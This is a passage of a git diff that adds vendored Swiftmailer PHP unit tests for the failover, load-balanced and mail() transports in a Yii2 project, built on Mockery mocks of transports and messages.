$t2)); + $transport->start(); + $this->assertEquals(1, $transport->send($message1)); + $this->assertEquals(1, $transport->send($message2)); + $this->assertEquals(1, $transport->send($message3)); + $this->assertEquals(1, $transport->send($message4)); + } + + public function testExceptionIsThrownIfAllTransportsDie() + { + $e = new Swift_TransportException('b0rken'); + + $message = $this->getMockery('Swift_Mime_Message'); + $t1 = $this->getMockery('Swift_Transport'); + $t2 = $this->getMockery('Swift_Transport'); + $connectionState1 = false; + $connectionState2 = false; + + $t1->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState1) { + return $connectionState1; + }); + $t1->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState1) { + if (!$connectionState1) { + $connectionState1 = true; + } + }); + $t1->shouldReceive('send') + ->once() + ->with($message, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState1, $e) { + if ($connectionState1) { + throw $e; + } + }); + + $t2->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState2) { + return $connectionState2; + }); + $t2->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState2) { + if (!$connectionState2) { + $connectionState2 = true; + } + }); + $t2->shouldReceive('send') + ->once() + ->with($message, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState2, $e) { + if ($connectionState2) { + throw $e; + } + }); + + $transport = $this->_getTransport(array($t1, $t2)); + $transport->start(); + try { + $transport->send($message); + $this->fail('All transports failed so Exception should be thrown'); + } catch (Exception $e) { + } + } + + public function testStoppingTransportStopsAllDelegates() + { + $t1 = $this->getMockery('Swift_Transport'); + $t2 = $this->getMockery('Swift_Transport'); + + $connectionState1 = true; + $connectionState2 = true; + + $t1->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState1) { + return $connectionState1; + }); + $t1->shouldReceive('stop') + ->once() + ->andReturnUsing(function () use (&$connectionState1) { + if ($connectionState1) { + $connectionState1 = false; + } + }); + + $t2->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState2) { + return $connectionState2; + }); + $t2->shouldReceive('stop') + ->once() + ->andReturnUsing(function () use (&$connectionState2) { + if ($connectionState2) { + $connectionState2 = false; + } + }); + + $transport = $this->_getTransport(array($t1, $t2)); + $transport->start(); + $transport->stop(); + } + + public function testTransportShowsAsNotStartedIfAllDelegatesDead() + { + $e = new Swift_TransportException('b0rken'); + + $message = $this->getMockery('Swift_Mime_Message'); + $t1 = $this->getMockery('Swift_Transport'); + $t2 = $this->getMockery('Swift_Transport'); + + $connectionState1 = false; + $connectionState2 = false; + + $t1->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState1) { + return $connectionState1; + }); + $t1->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState1) { + if (!$connectionState1) { + $connectionState1 = true; + } + }); + $t1->shouldReceive('send') + ->once() + ->with($message, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState1, $e) { + if ($connectionState1) { + $connectionState1 = false; + throw $e; + } + }); + + $t2->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState2) { + return $connectionState2; + }); + $t2->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState2) { + if (!$connectionState2) { + $connectionState2 = true; + } + }); + $t2->shouldReceive('send') + ->once() + ->with($message, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState2, $e) { + if ($connectionState2) { + $connectionState2 = false; + throw $e; + } + }); + + $transport = $this->_getTransport(array($t1, $t2)); + $transport->start(); + $this->assertTrue($transport->isStarted()); + try { + $transport->send($message); + $this->fail('All transports failed so Exception should be thrown'); + } catch (Exception $e) { + $this->assertFalse($transport->isStarted()); + } + } + + public function testRestartingTransportRestartsDeadDelegates() + { + $e = new Swift_TransportException('b0rken'); + + $message1 = $this->getMockery('Swift_Mime_Message'); + $message2 = $this->getMockery('Swift_Mime_Message'); + $t1 = $this->getMockery('Swift_Transport'); + $t2 = $this->getMockery('Swift_Transport'); + + $connectionState1 = false; + $connectionState2 = false; + + $t1->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState1) { + return $connectionState1; + }); + $t1->shouldReceive('start') + ->twice() + ->andReturnUsing(function () use (&$connectionState1) { + if (!$connectionState1) { + $connectionState1 = true; + } + }); + $t1->shouldReceive('send') + ->once() + ->with($message1, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState1, $e) { + if ($connectionState1) { + $connectionState1 = false; + throw $e; + } + }); + $t1->shouldReceive('send') + ->once() + ->with($message2, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState1) { + if ($connectionState1) { + return 10; + } + }); + + $t2->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState2) { + return $connectionState2; + }); + $t2->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState2) { + if (!$connectionState2) { + $connectionState2 = true; + } + }); + $t2->shouldReceive('send') + ->once() + ->with($message1, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState2, $e) { + if ($connectionState2) { + $connectionState2 = false; + throw $e; + } + }); + $t2->shouldReceive('send') + ->never() + ->with($message2, \Mockery::any()); + + $transport = $this->_getTransport(array($t1, $t2)); + $transport->start(); + $this->assertTrue($transport->isStarted()); + try { + $transport->send($message1); + $this->fail('All transports failed so Exception should be thrown'); + } catch (Exception $e) { + $this->assertFalse($transport->isStarted()); + } + //Restart and re-try + $transport->start(); + $this->assertTrue($transport->isStarted()); + $this->assertEquals(10, $transport->send($message2)); + } + + public function testFailureReferenceIsPassedToDelegates() + { + $failures = array(); + + $message = $this->getMockery('Swift_Mime_Message'); + $t1 = $this->getMockery('Swift_Transport'); + + $connectionState = false; + + $t1->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use ($connectionState) { + return $connectionState; + }); + $t1->shouldReceive('start') + ->once() + ->andReturnUsing(function () use ($connectionState) { + if (!$connectionState) { + $connectionState = true; + } + }); + $t1->shouldReceive('send') + ->once() + ->with($message, $failures) + ->andReturnUsing(function () use ($connectionState) { + if ($connectionState) { + return 1; + } + }); + + $transport = $this->_getTransport(array($t1)); + $transport->start(); + $transport->send($message, $failures); + } + + public function testRegisterPluginDelegatesToLoadedTransports() + { + $plugin = $this->_createPlugin(); + + $t1 = $this->getMockery('Swift_Transport'); + $t2 = $this->getMockery('Swift_Transport'); + $t1->shouldReceive('registerPlugin') + ->once() + ->with($plugin); + $t2->shouldReceive('registerPlugin') + ->once() + ->with($plugin); + + $transport = $this->_getTransport(array($t1, $t2)); + $transport->registerPlugin($plugin); + } + + // -- Private helpers + + private function _getTransport(array $transports) + { + $transport = new Swift_Transport_FailoverTransport(); + $transport->setTransports($transports); + + return $transport; + } + + private function _createPlugin() + { + return $this->getMockery('Swift_Events_EventListener'); + } + + private function _createInnerTransport() + { + return $this->getMockery('Swift_Transport'); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/LoadBalancedTransportTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/LoadBalancedTransportTest.php new file mode 100644 index 00000000..c397cd68 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/LoadBalancedTransportTest.php @@ -0,0 +1,756 @@ +getMockery('Swift_Mime_Message'); + $message2 = $this->getMockery('Swift_Mime_Message'); + $t1 = $this->getMockery('Swift_Transport'); + $t2 = $this->getMockery('Swift_Transport'); + $connectionState1 = false; + $connectionState2 = false; + + $testCase = $this; + $t1->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState1) { + return $connectionState1; + }); + $t1->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState1) { + if (!$connectionState1) { + $connectionState1 = true; + } + }); + $t1->shouldReceive('send') + ->once() + ->with($message1, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState1, $testCase) { + if ($connectionState1) { + return 1; + } + $testCase->fail(); + }); + $t1->shouldReceive('send') + ->never() + ->with($message2, \Mockery::any()); + + $t2->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState2) { + return $connectionState2; + }); + $t2->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState2) { + if (!$connectionState2) { + $connectionState2 = true; + } + }); + $t2->shouldReceive('send') + ->once() + ->with($message2, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState2, $testCase) { + if ($connectionState2) { + return 1; + } + $testCase->fail(); + }); + $t2->shouldReceive('send') + ->never() + ->with($message1, \Mockery::any()); + + $transport = $this->_getTransport(array($t1, $t2)); + $transport->start(); + $this->assertEquals(1, $transport->send($message1)); + $this->assertEquals(1, $transport->send($message2)); + } + + public function testTransportsAreReusedInRotatingFashion() + { + $message1 = $this->getMockery('Swift_Mime_Message'); + $message2 = $this->getMockery('Swift_Mime_Message'); + $message3 = $this->getMockery('Swift_Mime_Message'); + $message4 = $this->getMockery('Swift_Mime_Message'); + $t1 = $this->getMockery('Swift_Transport'); + $t2 = $this->getMockery('Swift_Transport'); + $connectionState1 = false; + $connectionState2 = false; + + $testCase = $this; + $t1->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState1) { + return $connectionState1; + }); + $t1->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState1) { + if (!$connectionState1) { + $connectionState1 = true; + } + }); + $t1->shouldReceive('send') + ->once() + ->with($message1, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState1, $testCase) { + if ($connectionState1) { + return 1; + } + $testCase->fail(); + }); + $t1->shouldReceive('send') + ->never() + ->with($message2, \Mockery::any()); + $t1->shouldReceive('send') + ->once() + ->with($message3, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState1, $testCase) { + if ($connectionState1) { + return 1; + } + $testCase->fail(); + }); + $t1->shouldReceive('send') + ->never() + ->with($message4, \Mockery::any()); + + $t2->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState2) { + return $connectionState2; + }); + $t2->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState2) { + if (!$connectionState2) { + $connectionState2 = true; + } + }); + $t2->shouldReceive('send') + ->once() + ->with($message2, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState2, $testCase) { + if ($connectionState2) { + return 1; + } + $testCase->fail(); + }); + $t2->shouldReceive('send') + ->never() + ->with($message1, \Mockery::any()); + $t2->shouldReceive('send') + ->once() + ->with($message4, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState2, $testCase) { + if ($connectionState2) { + return 1; + } + $testCase->fail(); + }); + $t2->shouldReceive('send') + ->never() + ->with($message3, \Mockery::any()); + + $transport = $this->_getTransport(array($t1, $t2)); + $transport->start(); + + $this->assertEquals(1, $transport->send($message1)); + $this->assertEquals(1, $transport->send($message2)); + $this->assertEquals(1, $transport->send($message3)); + $this->assertEquals(1, $transport->send($message4)); + } + + public function testMessageCanBeTriedOnNextTransportIfExceptionThrown() + { + $e = new Swift_TransportException('b0rken'); + + $message = $this->getMockery('Swift_Mime_Message'); + $t1 = $this->getMockery('Swift_Transport'); + $t2 = $this->getMockery('Swift_Transport'); + $connectionState1 = false; + $connectionState2 = false; + + $testCase = $this; + $t1->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState1) { + return $connectionState1; + }); + $t1->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState1) { + if (!$connectionState1) { + $connectionState1 = true; + } + }); + $t1->shouldReceive('send') + ->once() + ->with($message, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState1, $e, $testCase) { + if ($connectionState1) { + throw $e; + } + $testCase->fail(); + }); + + $t2->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState2) { + return $connectionState2; + }); + $t2->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState2) { + if (!$connectionState2) { + $connectionState2 = true; + } + }); + $t2->shouldReceive('send') + ->once() + ->with($message, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState2, $testCase) { + if ($connectionState2) { + return 1; + } + $testCase->fail(); + }); + + $transport = $this->_getTransport(array($t1, $t2)); + $transport->start(); + $this->assertEquals(1, $transport->send($message)); + } + + public function testMessageIsTriedOnNextTransportIfZeroReturned() + { + $message = $this->getMockery('Swift_Mime_Message'); + $t1 = $this->getMockery('Swift_Transport'); + $t2 = $this->getMockery('Swift_Transport'); + $connectionState1 = false; + $connectionState2 = false; + + $t1->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState1) { + return $connectionState1; + }); + $t1->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState1) { + if (!$connectionState1) { + $connectionState1 = true; + } + }); + $t1->shouldReceive('send') + ->once() + ->with($message, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState1) { + if ($connectionState1) { + return 0; + } + + return 1; + }); + + $t2->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState2) { + return $connectionState2; + }); + $t2->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState2) { + if (!$connectionState2) { + $connectionState2 = true; + } + }); + $t2->shouldReceive('send') + ->once() + ->with($message, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState2) { + if ($connectionState2) { + return 1; + } + + return 0; + }); + + $transport = $this->_getTransport(array($t1, $t2)); + $transport->start(); + $this->assertEquals(1, $transport->send($message)); + } + + public function testZeroIsReturnedIfAllTransportsReturnZero() + { + $message = $this->getMockery('Swift_Mime_Message'); + $t1 = $this->getMockery('Swift_Transport'); + $t2 = $this->getMockery('Swift_Transport'); + $connectionState1 = false; + $connectionState2 = false; + + $t1->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState1) { + return $connectionState1; + }); + $t1->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState1) { + if (!$connectionState1) { + $connectionState1 = true; + } + }); + $t1->shouldReceive('send') + ->once() + ->with($message, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState1) { + if ($connectionState1) { + return 0; + } + + return 1; + }); + + $t2->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState2) { + return $connectionState2; + }); + $t2->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState2) { + if (!$connectionState2) { + $connectionState2 = true; + } + }); + $t2->shouldReceive('send') + ->once() + ->with($message, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState2) { + if ($connectionState2) { + return 0; + } + + return 1; + }); + + $transport = $this->_getTransport(array($t1, $t2)); + $transport->start(); + $this->assertEquals(0, $transport->send($message)); + } + + public function testTransportsWhichThrowExceptionsAreNotRetried() + { + $e = new Swift_TransportException('maur b0rken'); + + $message1 = $this->getMockery('Swift_Mime_Message'); + $message2 = $this->getMockery('Swift_Mime_Message'); + $message3 = $this->getMockery('Swift_Mime_Message'); + $message4 = $this->getMockery('Swift_Mime_Message'); + $t1 = $this->getMockery('Swift_Transport'); + $t2 = $this->getMockery('Swift_Transport'); + $connectionState1 = false; + $connectionState2 = false; + + $testCase = $this; + $t1->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState1) { + return $connectionState1; + }); + $t1->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState1) { + if (!$connectionState1) { + $connectionState1 = true; + } + }); + $t1->shouldReceive('send') + ->once() + ->with($message1, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState1, $e, $testCase) { + if ($connectionState1) { + throw $e; + } + $testCase->fail(); + }); + $t1->shouldReceive('send') + ->never() + ->with($message2, \Mockery::any()); + $t1->shouldReceive('send') + ->never() + ->with($message3, \Mockery::any()); + $t1->shouldReceive('send') + ->never() + ->with($message4, \Mockery::any()); + + $t2->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState2) { + return $connectionState2; + }); + $t2->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState2) { + if (!$connectionState2) { + $connectionState2 = true; + } + }); + $t2->shouldReceive('send') + ->times(4) + ->with(\Mockery::anyOf($message1, $message3, $message3, $message4), \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState2, $testCase) { + if ($connectionState2) { + return 1; + } + $testCase->fail(); + }); + + $transport = $this->_getTransport(array($t1, $t2)); + $transport->start(); + $this->assertEquals(1, $transport->send($message1)); + $this->assertEquals(1, $transport->send($message2)); + $this->assertEquals(1, $transport->send($message3)); + $this->assertEquals(1, $transport->send($message4)); + } + + public function testExceptionIsThrownIfAllTransportsDie() + { + $e = new Swift_TransportException('b0rken'); + + $message = $this->getMockery('Swift_Mime_Message'); + $t1 = $this->getMockery('Swift_Transport'); + $t2 = $this->getMockery('Swift_Transport'); + $connectionState1 = false; + $connectionState2 = false; + + $t1->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState1) { + return $connectionState1; + }); + $t1->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState1) { + if (!$connectionState1) { + $connectionState1 = true; + } + }); + $t1->shouldReceive('send') + ->once() + ->with($message, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState1, $e) { + if ($connectionState1) { + throw $e; + } + }); + + $t2->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState2) { + return $connectionState2; + }); + $t2->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState2) { + if (!$connectionState2) { + $connectionState2 = true; + } + }); + $t2->shouldReceive('send') + ->once() + ->with($message, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState2, $e) { + if ($connectionState2) { + throw $e; + } + }); + + $transport = $this->_getTransport(array($t1, $t2)); + $transport->start(); + try { + $transport->send($message); + $this->fail('All transports failed so Exception should be thrown'); + } catch (Exception $e) { + } + } + + public function testStoppingTransportStopsAllDelegates() + { + $t1 = $this->getMockery('Swift_Transport'); + $t2 = $this->getMockery('Swift_Transport'); + $connectionState1 = true; + $connectionState2 = true; + + $t1->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState1) { + return $connectionState1; + }); + $t1->shouldReceive('stop') + ->once() + ->andReturnUsing(function () use (&$connectionState1) { + if ($connectionState1) { + $connectionState1 = false; + } + }); + + $t2->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState2) { + return $connectionState2; + }); + $t2->shouldReceive('stop') + ->once() + ->andReturnUsing(function () use (&$connectionState2) { + if ($connectionState2) { + $connectionState2 = false; + } + }); + + $transport = $this->_getTransport(array($t1, $t2)); + $transport->start(); + $transport->stop(); + } + + public function testTransportShowsAsNotStartedIfAllDelegatesDead() + { + $e = new Swift_TransportException('b0rken'); + + $message = $this->getMockery('Swift_Mime_Message'); + $t1 = $this->getMockery('Swift_Transport'); + $t2 = $this->getMockery('Swift_Transport'); + $connectionState1 = false; + $connectionState2 = false; + + $t1->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState1) { + return $connectionState1; + }); + $t1->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState1) { + if (!$connectionState1) { + $connectionState1 = true; + } + }); + $t1->shouldReceive('send') + ->once() + ->with($message, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState1, $e) { + if ($connectionState1) { + throw $e; + } + }); + + $t2->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState2) { + return $connectionState2; + }); + $t2->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState2) { + if (!$connectionState2) { + $connectionState2 = true; + } + }); + $t2->shouldReceive('send') + ->once() + ->with($message, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState2, $e) { + if ($connectionState2) { + throw $e; + } + }); + + $transport = $this->_getTransport(array($t1, $t2)); + $transport->start(); + $this->assertTrue($transport->isStarted()); + try { + $transport->send($message); + $this->fail('All transports failed so Exception should be thrown'); + } catch (Exception $e) { + $this->assertFalse($transport->isStarted()); + } + } + + public function testRestartingTransportRestartsDeadDelegates() + { + $e = new Swift_TransportException('b0rken'); + + $message1 = $this->getMockery('Swift_Mime_Message'); + $message2 = $this->getMockery('Swift_Mime_Message'); + $t1 = $this->getMockery('Swift_Transport'); + $t2 = $this->getMockery('Swift_Transport'); + $connectionState1 = false; + $connectionState2 = false; + + $t1->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState1) { + return $connectionState1; + }); + $t1->shouldReceive('start') + ->twice() + ->andReturnUsing(function () use (&$connectionState1) { + if (!$connectionState1) { + $connectionState1 = true; + } + }); + $t1->shouldReceive('send') + ->once() + ->with($message1, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState1, $e) { + if ($connectionState1) { + $connectionState1 = false; + throw $e; + } + }); + $t1->shouldReceive('send') + ->once() + ->with($message2, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState1, $e) { + if ($connectionState1) { + return 10; + } + }); + + $t2->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState2) { + return $connectionState2; + }); + $t2->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState2) { + if (!$connectionState2) { + $connectionState2 = true; + } + }); + $t2->shouldReceive('send') + ->once() + ->with($message1, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState2, $e) { + if ($connectionState2) { + throw $e; + } + }); + $t2->shouldReceive('send') + ->never() + ->with($message2, \Mockery::any()); + + $transport = $this->_getTransport(array($t1, $t2)); + $transport->start(); + $this->assertTrue($transport->isStarted()); + try { + $transport->send($message1); + $this->fail('All transports failed so Exception should be thrown'); + } catch (Exception $e) { + $this->assertFalse($transport->isStarted()); + } + //Restart and re-try + $transport->start(); + $this->assertTrue($transport->isStarted()); + $this->assertEquals(10, $transport->send($message2)); + } + + public function testFailureReferenceIsPassedToDelegates() + { + $failures = array(); + $testCase = $this; + + $message = $this->getMockery('Swift_Mime_Message'); + $t1 = $this->getMockery('Swift_Transport'); + $connectionState = false; + + $t1->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState) { + return $connectionState; + }); + $t1->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState) { + if (!$connectionState) { + $connectionState = true; + } + }); + $t1->shouldReceive('send') + ->once() + ->with($message, \Mockery::on(function (&$var) use (&$failures, $testCase) { + return $testCase->varsAreReferences($var, $failures); + })) + ->andReturnUsing(function () use (&$connectionState) { + if ($connectionState) { + return 1; + } + }); + + $transport = $this->_getTransport(array($t1)); + $transport->start(); + $transport->send($message, $failures); + } + + public function testRegisterPluginDelegatesToLoadedTransports() + { + $plugin = $this->_createPlugin(); + + $t1 = $this->getMockery('Swift_Transport'); + $t2 = $this->getMockery('Swift_Transport'); + + $t1->shouldReceive('registerPlugin') + ->once() + ->with($plugin); + $t2->shouldReceive('registerPlugin') + ->once() + ->with($plugin); + + $transport = $this->_getTransport(array($t1, $t2)); + $transport->registerPlugin($plugin); + } + + /** + * Adapted from Yay_Matchers_ReferenceMatcher + */ + public function varsAreReferences(&$ref1, &$ref2) + { + if (is_object($ref2)) { + return ($ref1 === $ref2); + } + if ($ref1 !== $ref2) { + return false; + } + + $copy = $ref2; + $randomString = uniqid('yay'); + $ref2 = $randomString; + $isRef = ($ref1 === $ref2); + $ref2 = $copy; + + return $isRef; + } + + // -- Private helpers + + private function _getTransport(array $transports) + { + $transport = new Swift_Transport_LoadBalancedTransport(); + $transport->setTransports($transports); + + return $transport; + } + + private function _createPlugin() + { + return $this->getMockery('Swift_Events_EventListener'); + } + + private function _createInnerTransport() + { + return $this->getMockery('Swift_Transport'); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/MailTransportTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/MailTransportTest.php new file mode 100644 index 00000000..89cb2d50 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/MailTransportTest.php @@ -0,0 +1,311 @@ +_createInvoker(); + $dispatcher = $this->_createEventDispatcher(); + $transport = $this->_createTransport($invoker, $dispatcher); + + $headers = $this->_createHeaders(); + $message = $this->_createMessage($headers); + + $invoker->shouldReceive('mail') + ->once(); + + $transport->send($message); + } + + public function testTransportUsesToFieldBodyInSending() + { + $invoker = $this->_createInvoker(); + $dispatcher = $this->_createEventDispatcher(); + $transport = $this->_createTransport($invoker, $dispatcher); + + $to = $this->_createHeader(); + $headers = $this->_createHeaders(array( + 'To' => $to, + )); + $message = $this->_createMessage($headers); + + $to->shouldReceive('getFieldBody') + ->zeroOrMoreTimes() + ->andReturn("Foo "); + $invoker->shouldReceive('mail') + ->once() + ->with("Foo ", \Mockery::any(), \Mockery::any(), \Mockery::any(), \Mockery::any()); + + $transport->send($message); + } + + public function testTransportUsesSubjectFieldBodyInSending() + { + $invoker = $this->_createInvoker(); + $dispatcher = $this->_createEventDispatcher(); + $transport = $this->_createTransport($invoker, $dispatcher); + + $subj = $this->_createHeader(); + $headers = $this->_createHeaders(array( + 'Subject' => $subj, + )); + $message = $this->_createMessage($headers); + + $subj->shouldReceive('getFieldBody') + ->zeroOrMoreTimes() + ->andReturn("Thing"); + $invoker->shouldReceive('mail') + ->once() + ->with(\Mockery::any(), "Thing", \Mockery::any(), \Mockery::any(), \Mockery::any()); + + $transport->send($message); + } + + public function testTransportUsesBodyOfMessage() + { + $invoker = $this->_createInvoker(); + $dispatcher = $this->_createEventDispatcher(); + $transport = $this->_createTransport($invoker, $dispatcher); + + $headers = $this->_createHeaders(); + $message = $this->_createMessage($headers); + + $message->shouldReceive('toString') + ->zeroOrMoreTimes() + ->andReturn( + "To: Foo \r\n". + "\r\n". + "This body" + ); + $invoker->shouldReceive('mail') + ->once() + ->with(\Mockery::any(), \Mockery::any(), "This body", \Mockery::any(), \Mockery::any()); + + $transport->send($message); + } + + public function testTransportUsesHeadersFromMessage() + { + $invoker = $this->_createInvoker(); + $dispatcher = $this->_createEventDispatcher(); + $transport = $this->_createTransport($invoker, $dispatcher); + + $headers = $this->_createHeaders(); + $message = $this->_createMessage($headers); + + $message->shouldReceive('toString') + ->zeroOrMoreTimes() + ->andReturn( + "Subject: Stuff\r\n". + "\r\n". + "This body" + ); + $invoker->shouldReceive('mail') + ->once() + ->with(\Mockery::any(), \Mockery::any(), \Mockery::any(), "Subject: Stuff".PHP_EOL, \Mockery::any()); + + $transport->send($message); + } + + public function testTransportReturnsCountOfAllRecipientsIfInvokerReturnsTrue() + { + $invoker = $this->_createInvoker(); + $dispatcher = $this->_createEventDispatcher(); + $transport = $this->_createTransport($invoker, $dispatcher); + + $headers = $this->_createHeaders(); + $message = $this->_createMessage($headers); + + $message->shouldReceive('getTo') + ->zeroOrMoreTimes() + ->andReturn(array('foo@bar' => null, 'zip@button' => null)); + $message->shouldReceive('getCc') + ->zeroOrMoreTimes() + ->andReturn(array('test@test' => null)); + $invoker->shouldReceive('mail') + ->once() + ->with(\Mockery::any(), \Mockery::any(), \Mockery::any(), \Mockery::any(), \Mockery::any()) + ->andReturn(true); + + $this->assertEquals(3, $transport->send($message)); + } + + public function testTransportReturnsZeroIfInvokerReturnsFalse() + { + $invoker = $this->_createInvoker(); + $dispatcher = $this->_createEventDispatcher(); + $transport = $this->_createTransport($invoker, $dispatcher); + + $headers = $this->_createHeaders(); + $message = $this->_createMessage($headers); + + $message->shouldReceive('getTo') + ->zeroOrMoreTimes() + ->andReturn(array('foo@bar' => null, 'zip@button' => null)); + $message->shouldReceive('getCc') + ->zeroOrMoreTimes() + ->andReturn(array('test@test' => null)); + $invoker->shouldReceive('mail') + ->once() + ->with(\Mockery::any(), \Mockery::any(), \Mockery::any(), \Mockery::any(), \Mockery::any()) + ->andReturn(false); + + $this->assertEquals(0, $transport->send($message)); + } + + public function testToHeaderIsRemovedFromHeaderSetDuringSending() + { + $invoker = $this->_createInvoker(); + $dispatcher = $this->_createEventDispatcher(); + $transport = $this->_createTransport($invoker, $dispatcher); + + $to = $this->_createHeader(); + $headers = $this->_createHeaders(array( + 'To' => $to, + )); + $message = $this->_createMessage($headers); + + $headers->shouldReceive('remove') + ->once() + ->with('To'); + $headers->shouldReceive('remove') + ->zeroOrMoreTimes(); + $invoker->shouldReceive('mail') + ->once() + ->with(\Mockery::any(), \Mockery::any(), \Mockery::any(), \Mockery::any(), \Mockery::any()); + + $transport->send($message); + } + + public function testSubjectHeaderIsRemovedFromHeaderSetDuringSending() + { + $invoker = $this->_createInvoker(); + $dispatcher = $this->_createEventDispatcher(); + $transport = $this->_createTransport($invoker, $dispatcher); + + $subject = $this->_createHeader(); + $headers = $this->_createHeaders(array( + 'Subject' => $subject, + )); + $message = $this->_createMessage($headers); + + $headers->shouldReceive('remove') + ->once() + ->with('Subject'); + $headers->shouldReceive('remove') + ->zeroOrMoreTimes(); + $invoker->shouldReceive('mail') + ->once() + ->with(\Mockery::any(), \Mockery::any(), \Mockery::any(), \Mockery::any(), \Mockery::any()); + + $transport->send($message); + } + + public function testToHeaderIsPutBackAfterSending() + { + $invoker = 